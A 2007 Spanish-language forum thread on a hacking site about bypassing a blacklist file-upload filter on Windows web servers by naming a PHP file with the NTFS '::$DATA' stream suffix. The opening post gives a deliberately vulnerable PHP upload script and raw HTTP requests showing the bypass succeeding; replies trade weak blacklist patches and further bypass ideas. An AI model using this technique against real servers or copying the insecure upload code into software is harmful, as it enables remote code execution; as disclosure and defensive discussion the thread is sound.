elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 11:48  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.  (Leído 2,394 veces)
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« en: 7 Junio 2007, 06:39 »

Hoy en el blog de RSnake (ha.ckers.org), me enteré de una vulnerabilidad que Michael Schramm (bitchiller.de) ha descubierto en Fck-editor, y una falla de implementación en Apache y en IIS, relacionado con los ADS (Alternate Data Streams) del NTFS.

Practicamente, podemos engañar a un sistema programado con un "blacklist" para subir archivos.. es decir.. supongamos que tenemos el siguiente programa en PHP:
Código:
<?php
$dirx = "ims";
function subeimagen(){
global $dirx;
if (isset($_FILES['attachment']['name']) && $_FILES['attachment']['name'] != ''){
if(substr($_FILES['attachment']['name'],-4)!=".php"){
if(!move_uploaded_file($_FILES['attachment']['tmp_name'],"$dirx/".$_FILES['attachment']['name'])){
// error no se que paso
die("error");
}
@chmod("$dirx/".$_FILES['attachment']['name'], 0644); // xD
}else{
echo "NO PHP!";
}
}else{
die("NO HAY ARCHIVO!!!!");
}
}
if(isset($_FILES['attachment']['name'])){
subeimagen();
}else{
?>
<form method=POST ENCTYPE="multipart/form-data">
<input type=file name=attachment>
<input type=submit>
</form>
<?php
}
?>
Este es un sistema que proteje al servidor de que subar archivos PHP con "black listing", es decir, permite todo menos lo que esta en la "lista negra".

En fin.. fuera de que podemos explotar muchas otras vulnerabilidades, aqui lograremos subir un archivo .php, y hacer que este programa no lo detecte.

Para empezar, al tratar de enviar un PHP, sucederá esto:
Código:
localhost [127.0.0.1] 80 (http) open
POST /sube.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-mx,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/sube.php
Content-Type: multipart/form-data; boundary=---------------------------284491965211180
Content-Length: 228

-----------------------------284491965211180
Content-Disposition: form-data; name="attachment"; filename="BFC.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>

-----------------------------284491965211180--

HTTP/1.1 200 OK
Date: Thu, 07 Jun 2007 04:11:49 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Content-Length: 7
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

PHP NO!
 sent 793, rcvd 230

:( que lastima no? no podemos subir archivos PHP, sinembargo, existe una funcionalidad en el Sistema de Archivos NT, que nos permite generar contenido "oculto" en otros archivos.. (http://www.securityfocus.com/infocus/1822).

Todos los archivos contienen almenos 1 "stream" llamado $DATA, y es donde esta el contenido del archivo.. de esta forma, por ejemplo en C, si hacemos:

fopen("archivo.php::$DATA","w");

esto regresará el mismo handle a si hicieramos

fopen("archivo.php","w");

o en BATCH:

type archivo.php

regresara lo mismo que

type archivo.php::$DATA

entonces, que pasará si subimos un archivo con el nombre..
archivo.php::$DATA? pues en windows, y SOLO EN WINDOWS, el archivo será aceptado como válido, y será guardado solo como archivo.php.

Miremos el ejemplo:

Código:
localhost [127.0.0.1] 80 (http) open
POST /sube.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-mx,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/sube.php
Content-Type: multipart/form-data; boundary=---------------------------284491965211180
Content-Length: 228

-----------------------------284491965211180
Content-Disposition: form-data; name="attachment"; filename="BFC.php::$DATA"
Content-Type: application/octet-stream

<?php phpinfo(); ?>

-----------------------------284491965211180--
HTTP/1.1 200 OK
Date: Thu, 07 Jun 2007 04:12:34 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<HTML>
<HEAD>
<title>Index.html</title>
<FRAMESET cols="*">
<FRAME SRC="inicio.php">
</FRAMESET>
</HEAD>
</HTML> sent 793, rcvd 337


el archivo se subió con éxito,  y por algun motivo que desconozco, me regresó la petición como si hubiera sido hecha a index.php.

Bueno, es todo chavos :P

Saludos!!
En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.127



Ver Perfil
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #1 en: 7 Junio 2007, 07:00 »


Nice PoC, espero no duermas hasta encontrar el porque, yo llevo varias horas online, tengo que dormir un poco.


cheers :-)
/berz3k
En línea
HaDeS, -
WarZone Master

Desconectado Desconectado

Mensajes: 284



Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #2 en: 1 Septiembre 2007, 07:14 »

Excelente, y muy interesante, ahora se subir archivos php si me los restringen :P

Ademas, mejore mi sistema de seguridad implementando este pequeño codigo:
Código
$archivo =  basename($_FILES['archivo']['name']);
$extension = strtolower(substr($archivo,-3));
if($extension != "php" && stripos($archivo,":$")===false){
  //Subir
}else{
 exit("Se prohiben juax0rs");
}
 

Muy bueno de verdad!
Saludos ;)
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #3 en: 1 Septiembre 2007, 22:50 »

todavia puedo subir archivos .shtml :D
te van pwnear si no usas whitelisting
tambien te pueden subir un .htaccess y haces cosas nunca antes vistas.. (vah, derivado de un mal chiste)
no uses whitelisting hades

Saludos!!

hombre invisible busca mujer transparente, para hacer cosas nunca antes vistas xD
En línea

HaDeS, -
WarZone Master

Desconectado Desconectado

Mensajes: 284



Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #4 en: 1 Septiembre 2007, 23:17 »

todavia puedo subir archivos .shtml :D
te van pwnear si no usas whitelisting
tambien te pueden subir un .htaccess y haces cosas nunca antes vistas.. (vah, derivado de un mal chiste)
no uses whitelisting hades

Saludos!!

hombre invisible busca mujer transparente, para hacer cosas nunca antes vistas xD

Solo puse una pequeña parte del codigo :P
Aca esta toda completa:
Código
if($extension != "php" && $extension != "asp" && $extension != "cgi" && $extension != "html" && $extension != "htm" && $extension != "php4" && $extension != "phtml" && $extension != "exe" && $extension != "dll" && $extension != "aspx" && $extension != "php3" && $extension != "shtml" && $extension != "pl" && stripos($archivo,":$")===false){
 
Acepto sugerencias :D jajaja naa, mejor lo dejo asi...
** Editado x'D por falta de comprension --

Saludos !
« Última modificación: 2 Septiembre 2007, 00:14 por HaDeS, - » En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #5 en: 2 Septiembre 2007, 00:20 »

bueno, me referia a que alguien iba a poder subir un .htaccess

Saludos!!
En línea

HaDeS, -
WarZone Master

Desconectado Desconectado

Mensajes: 284



Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #6 en: 2 Septiembre 2007, 00:24 »

Bueno, ya lo arregle poniendo esto:
Código
if (stripos($archivo,".")!=0){ /*Subir*/ }else{ echo "Ju4x0r a la vista"; }
 
Ahora si creo que quedo el filtro infalible xD
saludos ;)

Ahora voy a snifear a ver que es lo que pasa :P
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #7 en: 2 Septiembre 2007, 00:36 »

nah, todavia puedo subir XML y robar cookies

Saludos!!
En línea

HaDeS, -
WarZone Master

Desconectado Desconectado

Mensajes: 284



Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #8 en: 2 Septiembre 2007, 00:44 »

Para que cookies si no las voy a crear :P? jeje
No importa que suban archivos xml, es lo de menos, lo importantes eran los otros, los que se podian ejecutar desde el servidor, no el .html, .htm, si no, la serie de php, el perl y los asp, claro que tambien el del alternate data stream.
Ya esta completo mi filtro xDD

Saludos ;)
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Enviar archivos a WebServers bajo WINNT, falsificando extensión con ADS.
« Respuesta #9 en: 2 Septiembre 2007, 01:11 »

espero que no tengas soporte para python, ni para ruby..
pero bueno, ya mejor no cambio de tema :P ya parcheaste el bug de ADS :)
Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Hay modo de enviar keystrokes a una app flash bajo Windows?
Programación General
ukol 2 586 Último mensaje 18 Enero 2011, 20:05
por ukol
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines